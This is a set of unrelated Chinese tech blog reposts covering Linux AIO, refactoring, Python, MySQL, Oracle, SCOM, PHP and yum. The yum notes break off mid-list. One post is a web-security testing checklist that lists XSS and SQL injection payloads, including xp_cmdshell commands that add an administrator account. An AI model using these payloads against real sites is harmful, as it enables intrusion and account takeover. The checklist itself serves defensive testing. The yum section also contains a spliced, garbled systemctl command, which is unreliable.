初始化的代码差不多,主要的差别代码在下面 .............................................................................................. io_setup(nr_events, &ctx_id); lenperIo = BUF_LEN/MAX_AIO; for (i = 0; i < MAX_AIO; i++) { myiov[i].iov_len = lenperIo; myiov[i].iov_base = lenperIo * i + (char *)buf; pmycb[i] = &mycb[i]; } io_prep_pwritev(&mycb[0], fd, myiov, MAX_AIO, 32); io_set_callback(&mycb[0], cb); struct timespec ts; ts.tv_sec = 0; ts.tv_nsec = aioto * 1000; while (cnt < 1) { done = io_getevents(ctx_id, 1, 1, events, &ts); cnt += done; printf("Finish %d coming IO!\n", done); sleep(2); } .............................................................................................. 可以看到,在批量处理模式,先需要初始化一个io vector数组,在数组里面再指定IO操作在内存中的数据起始地址和长度,然后调用一次io_prep_pweritev(),最后等待唯一的一个event就可以了。 3. 两种处理方式的比较 下面的表格,总结了使用上面两种处理方式完成相同IO任务的实现上的差异: 模式 使用函数 是否必需用iovec io_setup调用次数 IO提交函数调用次数 io_getevents 需调用的次数 生成的io events数目 单个处理 io_prep_pwrite io_prep_pread 不是 多次 多次 很可能多次 多个 批量处理 io_prep_pwritev io_prep_preadv 是 1次 1次 最少一次 1 个 这里常常容易混淆的地方就是误以为每个io操作对于一个IO event,其实不然:是每个iocb对应一个IO event, 因为它IO event数据结构内部的obj和callback 都只有一份和iocb 数据结构里面的相对应,关于这点的详细说明可以参考我关于异步IO的上篇博客《C中异步IO浅析之三:深入理解异步IO的基本数据结构》。 4. 注意事项 单个IO处理的模式很好理解,而对批量处理,个人认为有一处man手册和头文件中都没有说明白的地方,那就是: io_prep_pwritev/ io_prep_preadv函数的最后一个参数offset的含义,它表示的是io vecotr里面最早执行的那个IO开始执行时读写操作在磁盘或文件上的物理偏移, 而下一个IO在磁盘或文件上读写的起始地址,就是这个偏移再加上刚完成IO操作的长度。因此,IO操作的总长度是IO vector里面所有成员的iov_len字段之和。 本文转自存储之厨51CTO博客,原文链接: http://blog.51cto.com/xiamachao/1977588,如需转载请自行联系原作者
摘要:由于最近在做重构的项目,所以对重构又重新进行了一遍学习和整理,对31天重构最早接触是在2009年10月份,由于当时没有 订阅Sean Chambers的blog,所以是在国外的社区上闲逛的时候链接过去的。记得当时一口气看完了整个系列并没有多少感觉,因为这些基本上项目都 在使用,只是我们没有专门把它标示和整理出来,所以也没有引起多大的重视。现在突然接手这个重构项目,由于团队成员技术和经验参差不齐,所以有必要专门整 理一个重构的纲要,当然这个系列也非常适合做新系统的代码规范参考,只要有代码的地方,这个重构规范就很有价值。周末也不想出去闲逛,因为在刚到这个美丽 的城市,没有亲戚或者朋友,所以才能静下心来两天时间写完这个重构参考规范。同时也感受了Windows Live writer写文章的快感。当然重构的整体架构得另当别论(整体架构在我的这篇文章有专门的讲解(http://www.cnblogs.com/zenghongliang/archive/2010/06/23/1763438.html)。 大的架构设计好了以后,这些重构细节点就成了东风之后的大火,对整个项目也是至关重要。31天重构这个系列和《代码大全》、《重构:改善既有代码的设计》 比较起来最大的特点就是比较简单、浅显易懂。那么我这些文章也都是学习Sean Chambers的31天重构的笔记整理,所以如果大家对这个笔记有任何异议也可以指出。 具体也可以通过http://www.lostechies.com/blogs/sean_chambers/archive/2009/07/31/31-days-of-refactoring.aspx查 看原文。 概念:本文中的“移除重复内容”是指把一些很多地方都用到的逻辑提炼出来,然后提供给调用者统一调用。 正文:如下代码所示,ArchiveRecord和CloseRecord都会用到Archived = true; 和DateArchived = DateTime.Now; 这两条语句,所以我们就可以对它进行重构。 using System;namespace LosTechies.DaysOfRefactoring.RemoveDuplication.Before {public class MedicalRecord{public DateTime DateArchived { get; private set; }public bool Archived { get; private set; }public void ArchiveRecord() { Archived = true; DateArchived = DateTime.Now; }public void CloseRecord() { Archived = true; DateArchived = DateTime.Now; } } } 重构后的代码如下所示,我们提炼了SwitchToArchived方法来封装公用的操作,然后给ArchiveRecord和 CloseRecord统一调用。 using System;namespace LosTechies.DaysOfRefactoring.RemoveDuplication.After {public class MedicalRecord{public DateTime DateArchived { get; private set; }public bool Archived { get; private set; }public void ArchiveRecord() { SwitchToArchived(); }public void CloseRecord() { SwitchToArchived(); }private void SwitchToArchived() { Archived = true; DateArchived = DateTime.Now; } } } 总结:这个重构很简单,绝大多数程序员都会使用这种重构方法,但有时由于习惯、时间、赶进度等原因而忽略它,所以会使得整个系统杂乱 无章,到处都是Ctrl+C和Ctrl+V的痕迹。 本文转自KnightsWarrior51CTO博客,原文链接:http://blog.51cto.com/knightswarrior/342463 ,如需转载请自行联系原作者
目的:学习python中time模块,可以获取当前时间或时间段 环境:ubuntu 16.04 python3.5.2 time模块,为内置模块,可以用来获取当前时间、日期,还可以设置延迟或倒计时。 使用前需导入模块 1 import time 常用的方法有:sleep(), strftime(), ctime() sleep(t),设置t的数字,单位为秒,可以有小数点,理解为延迟执行的秒数。 1 time.sleep(5) 等待5秒后继续执行下面的语句。 strftime(''),格式输出当前时间,参数在引号内,有年月日时分秒,多选,不计较顺序。 1 strftime('%Y%m%d_%H%M%S') 返回例如2017060713_231415这种格式,每个代表参数之间可以添加分隔符如下划线。 %Y 返回4位数的年份 %y 返回2位数的年份 %m 返回2位数的月份 %h 返回英文月份缩写 %d 返回2位数的天 %D 返回月/日/年格式各两位 %x 同%D %X 返回时:分:秒格式各两位 %H 返回24小时制小时数 %l 返回12小时制小时数 %p 返回AM或PM %M 返回2位数分钟数 %S 返回2位数秒数 %z 返回时区如+0800 %Z 返回时区如CST ctime(), 返回完整的时间如:'Thu Jul 13 23:31:39 2017' time(), 返回1970纪元后经过的浮点数秒数。 localtime(), 返回包括年月日时分秒和一年已经过去的天数等。 clock(),计时的标尺,第一次运行返回当前时间,之后返回上一次到本次的间隔时间。 本文转自RickyHuL51CTO博客,原文链接:http://blog.51cto.com/rickyh/1947355,如需转载请自行联系原作者
标签:同步 mysql IDC 尝试1:Master→Relay →Slave 一、特点: 1. Slave和前端在一个IDC; 2. DB集中写, cache本地写; 3. 某一机房是核心。 二、挑战: 1.不适合写入量大的业务; 2.Cache清理机制复杂; 3.注意同步延时问题; 4.Relay容灾。 尝试2:MySQL federated engine 一、特点 1.利用FE实现多master到单slave的同步; 2.FE不提供在线服务; 3.DB和Cache本地读本地写; 4.N个IDC部署中每个IDC需要部署N-1个relay。 二、挑战 1.MySQL协议太重;2.存在更新丢失问题;3.维护难度大。 尝试3:MySQL Master/Master 一、特点: 1.双写;2.容灾优势高。 二、挑战 1.写节点限制在两个IDC;2.时序问题。 尝试4:Master→Queue Service→Master 一、特点 1.多点写入;2.索引和内容合并同时入队列;3.每个IDC完全独立。 二、挑战 1.带来运维复杂;2.程序的解耦问题。 经验: 1.能不分布就不要分布;2.部署成对IDC并且不多于4个;3.提高用户体验的同时解决容灾和突发流量问题;4.考虑好业务的时序问题;5.异步为王。 本文转自ljianbing51CTO博客,原文链接:http://blog.51cto.com/ljianbing/1617618 ,如需转载请自行联系原作者
硬链接:新建的文件是已经存在的文件的一个别名,当原文件删除时,新建的文件仍然可以使用. 软链接:也称为符号链接,新建的文件以“路径”的形式来表示另一个文件,和Windows的快捷方式十分相似,新建的软链接可以指向不存在的文件. 下面详细介绍一下硬链接和软连接之间的区别. 1.硬链接和原来的文件没有什么区别,而且共享一个 inode 号(文件在文件系统上的唯一标识);而软链接不共享 inode,也可以说是个特殊的 inode,所以和原来的 inode 有区别。 2.若原文件删除了,则该软连接则不可以访问,而硬连接则是可以的。 3.由于符号链接的特性,导致其可以跨越磁盘分区,但硬链接不具备这个特性. 另外在转载一下网上的介绍. 硬链接(hard link) ln UNIX文件系统提供了一种将不同文件链接至同一个文件的机制,我们称这种机制为链接。它可以使得单个程序对同一文件使用不同的名字。这样的好处是文件系统只存在一个文件的副本。系统简单地通过在目录中建立一个新的登记项来实现这种连接。该登记项具有一个新的文件名和要连接文件的inode号(inode与原文件相同)。不论一个文件有多少硬链接,在磁盘上只有一个描述它的inode,只要该文件的链接数不为0,该文件就保持存在。硬链接不能对目录建立硬链接! 硬连接是直接建立在节点表上的(inode),建立硬连接指向一个文件的时候,会更新节点表上面的计数值。举个例子,一个文件被连接了两次(硬连接),这个文件的计数值是3,而无论通过3个文件名中的任何一个访问,效果都是完全一样的,但是如果删除其中任意一个,都只是把计数值减1,不会删除实际的内容的,(任何存在的文件本身就算是一个硬连接)只有计数值变成0也就是没有任何硬连接指向的时候才会真实的删除内容。 软链接(symbolic link) ln-s 我们把符号链接称为软链接,它是指向另一个文件的特殊文件,这种文件的数据部分仅包含它所要链接文件的路径名。软链接是为了克服硬链接的不足而引入的,软链接不直接使用inode号作为文件指针,而是使用文件路径名作为指针(软链接:文件名 + 数据部分-->目标文件的路径名)。软件有自己的inode,并在磁盘上有一小片空间存放路径名。因此,软链接能够跨文件系统,也可以和目录链接!其二,软链接可以对一个不存在的文件名进行链接,但直到这个名字对应的文件被创建后,才能打开其链接。 本文转自babylater51CTO博客,原文链接:http://blog.51cto.com/babylater/1874993 ,如需转载请自行联系原作者
SCOM 2007 R2已经发布一些日子,本人作为微软的忠实Fans,当然要紧随微软的脚步,于是在百忙中抽空将自己负责的SCOM服务器升级到R2。SCOM 2007 R2版本增加了不少的新特性,在这,我挑出其中一个小小的新特性跟大家分享一下,这个特性就是:在SCOM R2中为特定的警报创建通知。这是一个不大起眼的新特性,但是它能给日常运维工作带来极大的方便。相信广大SCOM管理员或多或少会遇到客户这样的需求:能否只给我发送服务器宕机告警?能否只给我发送cluster资源联机失败的告警?其实这些需求在MOM2005中可以很方便地实现,因为MOM2005能够在单个规则中指定通知用户。到了SCOM 2007,如果我们不是Powershell和脚本的高手,面对客户这种貌似合情又合理的需求只能干瞪眼了。直到SCOM 2007 R2,微软做了些改进,让我们又能够实现给特定的报警或规则创建通知。下面我来演示一下在SCOM 2007 R2中如何去实现为特定报警订阅通知: 在SCOM 2007 R2 Console中找到需要进行定制的警报,在本文中以磁盘空间不足的警报为例,在Console中找到名称为“Logical Disk Free Space is low”的报警,选中它,如下图所示: 选中特定警报之后,在右边的操作窗口中选择“Create”,如下图所示: 提示:如果我们之前已经为某个用户创建了订阅,而该用户又想在原先的基础上增加某个特定警报,在这步操作中可以选择“Modify…”来将特定的警报直接添加到之前已经存在的订阅中。 在弹出的“Notification Subscription Wizard”窗口中根据需求输入一个订阅名称,在此保留默认,直接下一步,如下图所示: 在“Criteria”窗口中定义订阅的条件,在此保留默认,下一步: 在“Subscribers”中为订阅新建或添加一个接收人,如下图所示: 在“Channels”窗口中新建或添加发送警报消息的通道,通道可以单选或多选,要确保警报发送通道和收件人的接收通道匹配才能够成功发送和接收警报消息,如前面截图中,收件人的接收通道为Instant Message(IM),所以,在这里至少要选择上Instant Message(IM)发送通道才能够让这个订阅正常工作,如下图所示: 在“Summary”窗口中单击“完成”之后订阅的创建操作就全部完成。 验证结果: 在Console中定位到“Administration”—&gt; “Notifications” –&gt; “Subscriptions” 查看刚才创建的订阅是否已经正常显示。 本文转自叶俊坚51CTO博客,原文链接:http://blog.51cto.com/yejunjian/181902 ,如需转载请自行联系原作者
目前最新版的PHPWAMP集成环境默认都安装了zend解密组件,下面是详情信息。 PHP线程安全和非线程安全的选择和区别。 备注:在PHP5.3以后,PHP不再有ISAPI模式,安装后也不再有php5isapi.dll这个文件。 Windows版的PHP从版本5.2.1开始有Thread Safe(线程安全)和None Thread Safe(NTS,非线程安全)之分, Windows下的PHP版本分两种:线程安全版本与非线程安全版本,线程安全和非线程安全只针对windows,而 linux下没有这个区分。 第一个Windows系统下的PHP版本是PHP3.0.17(时间2000年10月20日) 那时候windows和linux版本下的PHP都是不区分线程安全与非线程安全的。 Windows下的PHP从版本5.2.1起才开始区分Thread Safe(线程安全)和None Thread Safe(NTS,非 线程安全) 而PHP5.2通常采用的解密模块是Zend Optimizer,但是从PHP 5.3.x系列起,都无法安装Zend Optimizer。 PHP 5.3.X 开始 Zend Optimizer 正式被 Zend Guard Loader 所取代了,改用 Zend Guard Loader 模块了 因此获得以下结论: 1、Zend Guard Loader必须运行在nts版的php上面,所以应该下载nts的PHP版本来安装Zend Guard Loader 2、Zend Optimizer不支持php5.3以上版本,更也不支持Windows下非线程安全FastCGI,就算是php5.2也需要使用线程安全的版本。 因为PHPWAMP的apache2.4站点管理大部分的PHP版本是采用FastCGI运行模式的,所以最好全部都采用非线程安全的PHP版本,但是Zend Optimizer并不支持非线程安全的php5.2。所以在PHPWAMP集成环境的apache2.4站点管理中,带有zend解密组件的php5.2是线程安全的PHP版本,而其他带有zend解密组件的都是非线程安全的PHP版本,如果你在apache2.4站点管理中并不打算使用带有解密组件的php5.2,你可以自定义一个非线程安全的PHP5.2。 注意事项:PHPWAMP中的apache2.4站点管理是混合运行模式,在添加站点的时候,选择默认的PHP版本就是模块运行方式,如果添加站点时选择其他版本(非默认php版本)则是FastCGI运行模式 PHPWAMP的运行模式 IIS站点管理:Fast-CGI运行模式 Nginx站点管理:Fast-CGI运行模式 apache2.2站点管理:APACHE2HANDLER的方式运行 apache2.4站点管理:Fast-CGI和APACHE2HANDLER双重混合模式运行(随意切换) 主界面默认测试站点:APACHE2HANDLER的方式运行 (仅限Apache,主界面Nginx还是Fast-CGI) 本文转自Lccee老师里冲51CTO博客,原文链接:http://blog.51cto.com/lccee/1888450 ,如需转载请自行联系原作者
建立整体的威胁模型,测试溢出漏洞、信息泄漏、错误处理、SQL 注入、身份验证和授权错误。 1、输入验证 客户端验证 服务器端验证(禁用脚本调试,禁用Cookies) 1.输入很大的数(如4,294,967,269),输入很小的数(负数) 2.输入超长字符,如对输入文字长度有限制,则尝试超过限制,刚好到达限制字数时有何反应 3.输入特殊字符,如:~!@#$%^&*()_+<>:”{}| 4.输入中英文空格,输入字符串中间含空格,输入首尾空格 5.输入特殊字符串NULL,null,0x0d 0x0a 6.输入正常字符串 7.输入与要求不同类型的字符,如: 要求输入数字则检查正值,负值,零值(正零,负零),小数,字母,空值; 要求输入字母则检查输入数字 8.输入html和javascript代码 9.对于像回答数这样需检验数字正确性的测试点,不仅对比其与问题最终页的回答数,还要对回答进行添加删除等操作后查看变化 例如: 1.输入<html”>”gfhd</html>,看是否出错; 2.输入<input type=”text” name=”user”/>,看是否出现文本框; 3.输入<script type=”text/javascript”>alert(“提示”)</script>看是否出现提示。 关于上传: 1.上传文件是否有格式限制,是否可以上传exe文件; 2.上传文件是否有大小限制,上传太大的文件是否导致异常错误,上传0K的文件是否会导致异常错误,上传并不存在的文件是否会导致异常错误; 3.通过修改扩展名的方式是否可以绕过格式限制,是否可以通过压包方式绕过格式限制; 4.是否有上传空间的限制,是否可以超过空间所限制的大小,如将超过空间的大文件拆分上传是否会出现异常错误。 5.上传文件大小大于本地剩余空间大小,是否会出现异常错误。 6.关于上传是否成功的判断。上传过程中,中断。程序是否判断上传是否成功。 7.对于文件名中带有中文字符,特殊字符等的文件上传。 下载: 避免输入:\..\web. 修改命名后缀。 关于URL: 1.某些需登录后或特殊用户才能进入的页面,是否可以通过直接输入网址的方式进入; 2.对于带参数的网址,恶意修改其参数,(若为数字,则输入字母,或很大的数字,或输入特殊字符等)后打开网址是否出错,是否可以非法进入某些页面; 3.搜索页面等url中含有关键字的,输入html代码或JavaScript看是否在页面中显示或执行。 4.输入善意字符。 UBB: [url=http://www.****.com] 你的网站[/url] 1.试着用各种方式输入UBB代码,比如代码不完整,代码嵌套等等. 2.在UBB代码中加入属性,如样式,事件等属性,看是否起作用 3.输入编辑器中不存在的UBB代码,看是否起作用 [url=alert('hello')]链接[ /url] [email=alert('hello')]EMail[ /email] [email=yangtao@rising.com.cn STYLE="background-image: url(alert('XSS'))"]yangtao@rising.com.cn[ /email] [img]http://www.13fun.cn/2007713015578593_03.jpg style=”background-image:url(alert(‘alert(xss)’))”[ /img] [img]http://www.13fun.cn/photo/2007-7/2007713015578593_03.jpg “onmouseover=alert(‘hello’);”[/img] [b STYLE="background-image: url(alert('XSS'))"]一首诗酸涩涩服务网[ /b] [i STYLE="background-image: url(alert('XSS'))"]一二三四五六七北京市[ /i] [u]一二三四五六七北京市[/u] [font=微软雅黑" STYLE="background-image: url(alert('XSS'))"]一二三四五六七北京市[ /font] [size=4" STYLE="background-image: url(alert('XSS'))"]一二三四五六七北京市[ /size] [color=Red" STYLE="background-image: url(alert('XSS'))"]一二三四五六七北京市[ /color] [align=center" STYLE="background-image: url(alert('XSS'))"]一二三四五六七北京市[ /align] [float=left" STYLE="background-image: url(alert('XSS'))"]一二三四五六七北京市[ /float] [font=微软雅黑 STYLE="background-image: url(alert('XSS'))"]一二三四五六七北京市[ /font] [size=4 STYLE="background-image: url(alert('XSS'))"]一二三四五六七北京市[ /size] [color=Red STYLE="background-image: url(alert('XSS'))"]一二三四五六七北京市[ /color] [align=center STYLE="background-image: url(alert('XSS'))"]一二三四五六七北京市[ /align] [list=1] [*]一二三四五六七北京市[/list] [indent]一二三四五六七北京市[/indent] [float=left STYLE="background-image: url(alert('XSS'))"]一二三四五六七北京市[ /float] [media=ra,400,300,0]http://bbsforblog.ikaka.com/posttopic.aspx?forumid=109[/media] 输出编码 常用的测试输入语句有: <input type=”text”/> <input/> <input/ <script>alert(‘hello’);</script> 1.jpg” onmouseover=”alert(‘xss’) “></a><script>alert(‘xss’);</script> http://xxx’;alert(‘xss’);var/ a=’a ‘”>xss&< a=”\” ; b=”;alert(/xss/);//” <img src=“输出内容” border=“0” alt=“logo” /> “’” ‘”’ “”” “ “ “ “”“ “‘ ” title=”” 对输出数据到输出数据的对比,看是否出现问题。 防止SQL注入 Admin– ‘or ---–-- ‘ and ( ) exec insert * % chr mid and 1=1 ; And 1=1 ; aNd 1=1 ; char(97)char(110)char(100) char(49)char(61)char(49) ; %20AND%201=2 ‘and 1=1 ; ‘And 1=1 ; ‘aNd 1=1 ; and 1=2 ; ‘and 1=2 and 2=2 and user>0 and (select count(*) from sysobjects)>0 and (select count(*) from msysobjects)>0 and (Select Count(*) from Admin)>=0 and (select top 1 len(username) from Admin)>0(username 已知字段) ;exec master..xp_cmdshell “net user name password /add”— ;exec master..xp_cmdshell “net localgroup name administrators /add”— and 0<>(select count(*) from admin) 简单的如where xtype=’U’,字符U对应的ASCII码是85,所以可以用where xtype=char(85)代替;如果字符是中文的,比如where name=’用户’,可以用where name=nchar(29992)+nchar(25143)代替。 跨站脚本攻击(XSS) 对于 XSS,只需检查 HTML 输出并看看您输入的内容在什么地方。它在一个 HREF 标记中吗?是否在 IFRAME 标记中?它在 CLSID 标记中吗?在 IMG SRC 中吗?某些 Flash 内容的 PARAM NAME 是怎样的? ~!@#$%^&*()_+<>,./?;’”[]{}\- %3Cinput /%3E %3Cscript%3Ealert(‘XSS’)%3C/script%3E <input type=”text”/> <input/> <input/ <script>alert(‘xss’)</script> <script>alert(‘xss’);</script> </script><script>alert(‘xss’)</script> alert( /xss/) javascrip&#116&#58alert(/xss/) <img src=”#” onerror=alert(/xss/)> <img src=”#” style=”Xss:alert( /xss/));”> <img src=”#”/**/onerror=alert(/xss/) width=100> =’><script>alert(document.cookie)</script> 1.jpg” onmouseover=”alert(‘xss’) ”></a><script>alert(‘xss’);</script> http://xxx’;alert(‘xss’);var/ a=’a ’”>xss&< ”onmouseover=alert(‘hello’);” &{alert(‘hello’);} >”‘><script>alert(‘XSS’)</script> >%22%27><img%20src%3d%22alert(%27XSS%27)%22>< /p> >”‘><img%20src%3D%26%23x6a;%26%23×61;%26%23×76;%26%23×61;%26%23×73;%26%23×63;%26%23×72;%26%23×69;%26%23×70;%26%23×74;%26%23x3a;alert(%26quot;XSS%26quot;)> AK%22%20style%3D%22url(javascript:alert(%27XSS%27))%22%20OS%22< /p> %22%2Balert(%27XSS%27)%2B%22 <table background=”alert(([code])">< /table> <object type=text/html data="alert(([code]);">< /object> <body /body> a?<script>alert(’Vulnerable’)</script> <!--'">&: var from = ‘$!rundata.Parameters.getString(’from’)'; var from = ”;hackerFunction(document.cookie);”; http://searchbox.mapbar.com/publish/template/template1010/?CID=qingke&tid=tid1010&cityName=天津<script>alert("hello")</script>&nid=MAPBXITBJRQMYWJRXPCBX 跨站请求伪造(CSRF) 同个浏览器打开两个页面,一个页面权限失效后,另一个页面是否可操作成功。 当页面没有CHECKCODE时,查看页面源代码,查是是否有token。如果页面完全是展示页面,是不会有token的。 本文转自cqtesting51CTO博客,原文链接:http://blog.51cto.com/cqtesting/1381653 ,如需转载请自行联系原作者
感谢支持,欢迎联系我,进行技术交流! 问题咨询:417633743(QQ群) 技术合作:2496927249 本文转自我也是个傻瓜51CTO博客,原文链接:http://www.cnblogs.com/liweis/p/7473669.html ,如需转载请自行联系原作者
Oracle数据库的两种连接方式:专用服务器连接 和 共享服务器连接 一、Oracle数据库组成: oracle server 是由:实例和数据库组成; oracle数据库由:数据文件 重做日志文件 临时文件 控制文件 参数文件 密码文件等组成 (其中最重要的就是数据文件和重做日志文件) oracle实例是由:系统全局区SGA的共享内存块以及大量后台进程构成。 SGA包括:数据库缓冲区缓存、日志缓冲区、共享池、还有(大池、Java池、流池) 后台进程:DBWR(数据库写进程);LGWR(日志写进程);CKPT(检查点);SMON(系统监控进程);PMON(进程监控);ARCH(归档进程);RECO恢复;LCKN封锁;等 PGA:用户会话还需要服务器端的内存,此内存不共享,也称为程序全局区PGA,每个会话都有自己的PGA。 -----从Oracle12C起,全局临时表所产生的undo可以存放在临时表空间中。 《控制文件》 控制文件是一个相当小的文件(极端情况下能增长到64MB),它储存了数据库需要的一些文件的位置,还记录了一些其他信息,如:检查点的有关信息,数据库名、数据库创建是时间戳、归档重做日志的历史以及RMAN信息等。 《重做日志》 重做日志分为在线重做日志redo和归档重做日志。 online Redo log files--在线重做日志,又称联机重做日志,指Oracle以SQL脚本的形式实时记录数据库的数据更新,换句话说,实时保存已执行的SQL脚本到在线日志文件中(按特定的格式)。 注意:在线重做日志最重要的目标就是在实例失败后我们能够恢复已经提交的事务; Archive Redo log files--归档重做日志,简称归档日志,指当条件满足时,Oracle将在线重做日志以文件形式保存到硬盘(持久化)。 SGA和PGA PGA是用户进程区,也可以这么理解,如果并发500 那么就需要分配500M的PGA PGA是进程专用的内存区 《重做缓冲区》 ---实际上,LGWR进程会在以下任何一种情况发生时把缓冲区数据刷新输出到磁盘: 1、每3秒一次 2、发生提交或回滚请求时 3、要求LGWR切换日志文件时 4、重做缓冲区用满三分之一,或者缓存重做日志数据达到1MB时; 数据需要写到在线重做日志时,在它们被写到磁盘之前,需要在重做缓冲区中临时缓存这些数据; 重做日志缓冲区的默认大小是由log_buffer参数控制; 《块缓冲区缓存block buffer cache》 Oracle将数据库块写到磁盘之前,或从磁盘上读取数据库块之后,就会把这些数据库块存储在块缓冲区缓存中; 块缓冲区缓存不能太小,要不然 我们的查询就会永远也执行不完。也不能太大,因为又会抢占其他进程的资源; 数据库中只有一种块大小:2KB 4KB 8KB 16KB 32KB中的一种;如果要修改数据库块,在安装数据库的时候 在init.ora文件中指定:db_block_size=16384 即可,16384是16K 《共享池shared pool》 共享池就是Oracle缓存一些程序数据的地方,在解析一个查询时,解析得到的结果就缓存在那里。在完成解析整个查询的任务之前,Oracle会搜索共享池,看看这个工作是否完成; 共享池的特点是有大量小的内存块,一般为4KB或更小。我们的目标是使用小块的内存来避免碎片问题,如果大小各不同 很可能出现碎片问题。 《大池large pool》 大池是用于被大块内存的分配,而共享池无法处理这么大的内存块。 《JAVA池》 JAVA池目的是支持在数据库中运行JAVA,如果用JAVA编写一个存储过程,Oracle会在处理代码时使用Java池的内存。 《流池》 流池被用来缓冲队列消息,而且流池对于:goldengate streams等很重要,这些场景必须要有流池; ---SGA自动管理时,statistics_level参数必须被设置为typical或者all,因为如果统计信息收集功能没有启用,数据库就没有相关的历史记录来判断各个组件所需的内存大小。 二、Oracle数据库进程 一个Oracle实例主要有3类进程:服务器进程 后台进程 从属进程 ---通过v$bgprocess视图可以查看数据库所有可能的后台进程 select paddr,name,description from v$bgprocess order by paddr desc; 通过查询v$process中pname不为空的记录,来查看系统中正在运行的后台进程; 注意:后台进程也分为两类:一类是有特定任务的进程,另一种是能够执行各种其他任务的进程(如工具进程) ---在12C中查看启动的后台进程: select paddr,name,description from v$bgprocess where paddr <>'00' order by paddr desc; (在12C中将启动大约22个后台进程,而在11GR2中 只有17个后台进程) 1、PMON进程监视器 进程监视器(process monitor)负责在连接出现异常终止后进行清理工作。(例如:一个专用服务器失败或者出于某种原因被结束掉,就要由PMON进程负责善后并释放资源。PMON会回滚未提交的工作,释放锁,并释放之前为失败进程分配的SGA资源) 注意:在Oracle12C之前,PMON还负责处理注册监听的任务,从Oracle12C开始 改由专门的监听注册后台进程来注册实例和服务到监听器 2、LREG监听注册进程 从Oracle12C开始,LREG进程负责将数据库实例和服务注册到监听器中; 3、SMON系统监视器 SMON进程用来做所有系统级的任务。SMON所做的工作包括如下几种: ①:清理临时表空间:(并不是说完全不需要手动清理的) ②:合并空闲表空间:(只有在使用数据字典的表空间适用) ③:针对原来不可用的文件恢复活动的事务: ④:执行RAC中失败节点的实例恢复: ⑤:清理OBJ$:(OBJ$是一个底层的数据字典,数据库中几乎每个对象(表 索引 触发器 视图等)都在其中对应一个条目,很多时候,有些条目表示的可能是已经删除的对象,或者表示not there不在哪里的对象) ⑥:管理撤销段:SMON会负责实施撤销段的自动上下线以及收缩撤销段; ⑦:回滚段离线: 4、RECO分布式数据库恢复 reco有一个非常核心的任务:由于两阶段提交(2pc)期间的崩溃或链接丢失等原因,有些事务可能会保持在准备状态,这个进程就是要恢复这些事务; 5、CKPT检查点进程 实施检查点主要是DBWn进程的工作,CKPT仅仅是协助实际运行检查点的进程,来更新数据文件的文件头; 6、DBWn数据库块写入器 数据库块写入器是负责将脏块写入磁盘的后台进程; DBWn的性能至关重要,如果它写出块的速度不够快,不能很快的释放缓冲区,就会看到free buffer waits和write complete waits这两个等待事件的数量和等待事件在增加;其实我们可以配置多个DBWn进程,实际上在Oracle11G可以配置36个,在Oracle12C则多达100个; select name,description from v$bgprocess where description like 'db writer process%'; ----来查看数据库有几个DBWn进程 7、LGWR日志写入器: LGWR进程负责将SGA中重做日志缓冲区的内容刷新输出到磁盘; 8、ARCn归档进程 该进程的任务是:当LGWR将一个在线重做日志文件填满时,就将其复制到另一个位置,此后这些归档的重做日志文件就可以用于完成介质恢复; 9、DIAG诊断进程 该进程在以前的版本中专用语RAC环境中,从Oracle11G开始 利用ADR(高级诊断库),它会负责监视实列的整体状况,而且会捕获处理实列失败时的所需信息; 10、FBDA闪回数据归档进程 11、DBRM数据库资源管理器进程 DBRM进程会去实施那些为一个数据库实例配置的资源计划; 12.还有一些其他进程: LMON 锁监视器 LMD 锁管理器守护 LMSn 锁管理器服务器 LCK0 锁进程 本文转自一个笨小孩51CTO博客,原文链接:http://blog.51cto.com/fengfeng688/1933413 ,如需转载请自行联系原作者
unit13 软件安装 1.软件名称识别 [abrt-addon-ccpp]-[2.1.11-19].[el7].[x86_64].rpm ##rpm结尾的适用与redhat操作系统 || || || || 软件名称 软件版本 软件适用系统 64位 2.如何安装软件 1.rpm rpm -ivh name.rpm ##安装 ,-v显示过程,-h指定加密方式为hash -e name ##卸载 -ql name ##查询软件生成文件 -qlp name.rpm ##查询软件安装后会生成什么文件 -qa ##查询系统中安装的所有软件名称 -qa |grep name ##查询软件是否安装 -q name ##。。。。 -qp name.rpm ##查询软件安装包安装后的名字 -qf filename ##查看filename属于那个安装包 -ivh name.rpm --force ##强制安装 -qi name ##查看软件信息 -Kv name.rpm ##检测软件包是否被篡改 -qp name.rpm --scripts ##检测软件在安装或卸载过程中执行的动作 2.yum yum 上层软件管理工具,最重要的功能是可以解决软件的倚赖关系 yum能够投入使用的前提是必须要有yum源,以及配置源的指向文件 server源端 1.从网络上下本机系统版本匹配的iso镜像文件 rhel-server-7.1-x86_64-dvd.iso 2.把rhel-server-7.1-x86_64-dvd.iso挂在到/mnt以便访问镜像中的文件 mount rhel-server-7.1-x86_64-dvd.iso /mnt 3.配置本机yum源指向 rm -fr /etc/yum.repos.d/* vim /etc/yum.repos.d/yum.repo [Server] name=rhel7.1 baseurl=file:///mnt gpgcheck=0 4.安装资源共享服务 yum install httpd -y systemctl stop firewlsh-plugin-11.2.202.451-release.x86_64.rpmld systemctl disable firewalld systemctl start httpd systemctl enable httpd 5.建立共享目录,并挂在镜像文件到共享目录上 mkdir /var/www/html/rhel7.1 umount /mnt mount rhel-server-7.1-x86_64-dvd.iso /var/www/html/rhel7.1 6.测试 在浏览器中输入:http://本机ip/rhel7.1 可以看到镜像中的内容 7.修改本机yum源指向 [server] name=rhel7.1 baseurl=file:///var/www/html/rhel7.1 gpgcheck=0 8.开机自动挂在iso vim /etc/rc.d/rc.local mount rhel-server-7.1-x86_64-dvd.iso /var/www/html/rhel7.1 :wq chmod +x /etc/rc.d/rc.local 9.第三方软件仓库的搭建 把所有的rpm软件包放到一个目录中,这个目录中只能存在rpm文件 createrepo -v /rpm存放目录 vim /etc/yum.repos.d/xxx.repo [Software] name=software baseurl=file:///rpm存放目录 gpgcheck=0 client指向端 vim /etc/yum.repos.d/xxxx.repo ##仓库指向文件位置 [xxxx] ##自定义软件仓库名称 name=xxxx ##自定义软件仓库描述 baseurl=ftp://|http://|file:// ##仓库位置 gpgcheck=0 ##不检测gpgkey ##gpgkey表示软件的出品logo 例子: vim /etc/yum.repos.d/yum.repo [Server] name=rhel7.1 baseurl=ftp://172.25.0.254/pub/rhel7.1 gpgcheck=0 :wq yum clean all ##清空yum缓存识别新配置 yum命令 yum install softwarename ##安装 repolist ##列出设定yum源信息 remove softwarename ##卸载 list softwarename ##查看软件源中是否有次软件 list all ##列出所有软件名称 list installd ##列出已经安装的软件名称 list available ##列出可以用yum安装的软件名称 clean all ##清空yum缓存 search softwareinfo ##根据软件信息搜索软件名字 whatprovides filename 